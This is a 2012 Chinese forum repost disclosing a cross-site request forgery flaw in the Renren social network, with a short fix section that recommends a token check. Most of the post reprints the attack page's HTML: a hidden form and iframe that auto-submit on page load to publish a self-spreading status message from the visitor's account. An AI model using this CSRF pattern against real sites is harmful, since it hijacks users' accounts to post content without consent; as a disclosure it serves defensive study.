清风入幽梦 發表於 2012-5-17 10:30:10

人人网CSRF漏洞曝光及修复方案

脚本页面http://bookman.sinaapp.com/doover.php,访问该页面后会发送一条状态&ldquo;已经结束了,这是我的自白,想明白原理的看我日志就好。http://bookman.sinaapp.com/doover.php&rdquo;<br />详细说明:<br />看了下那个链接的源代码,是通过人人逛街的接口提交的。<br />接口地址http://j.renren.com/publisher/status,只要POST一个参数content到接口即可。<br />这个页面post的content内容就是&ldquo;已经结束了,这是我的自白XXXX&rdquo;。<br />&nbsp;<br /><br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />&lt;title&gt;爱你的说&lt;/title&gt;<br />&nbsp;<br />&nbsp;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;iframe name=&quot;destination&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;<br />&nbsp;<br />数字bookman爱你。欢迎访问&ldquo;肖寒Bookman&rdquo;的人人空间。<br />&nbsp;<br />&nbsp;<br />&lt;div id=&quot;kokia&quot; style=&quot;float:left;display:none;&quot;&gt;<br />&nbsp;<br />&nbsp; &lt;form id=&quot;akiko&quot; name=&quot;akiko&quot; action=&quot;http://j.renren.com/publisher/status&quot; method=&quot;POST&quot; target=&quot;destination&quot;&gt;<br />&nbsp;&nbsp; &lt;input type=&quot;text&quot; name=&quot;synsbcp&quot; www.jb51.net value=&quot;1&quot;/&gt;<br />&nbsp; &lt;p&gt;raw: &lt;input type=&quot;text&quot; name=&quot;content&quot; value=&quot;已经结束了,这是我的自白,想明白原理的看我日志就好。http://bookman.sinaapp.com/doover.php&quot;/&gt;&lt;/p&gt;<br />&nbsp; &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;<br />&lt;/form&gt;<br />&nbsp;<br />&lt;/div&gt;<br />&nbsp;<br />&nbsp;<br />&lt;script&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.akiko.submit();<br />&lt;/script&gt;<br />&lt;/body&gt;<br />&nbsp;<br />&nbsp;<br />&nbsp;<br />&lt;/html&gt;<br />&nbsp;<br /><img alt="" src="https://img.jbzj.com/file_images/article/201205/2012051710245810.jpg" /><br />&nbsp;<br />修复方案:<br />人人比我懂的多。以前有次flash的类似的,传播是站内信吧。<br />补漏洞很简单,加一个token验证即可。<br />低级错误一枚,从网不行啊。<br /><br />作者 leo108 AND 白熊一枚<br />
頁: [1]
查看完整版本: 人人网CSRF漏洞曝光及修复方案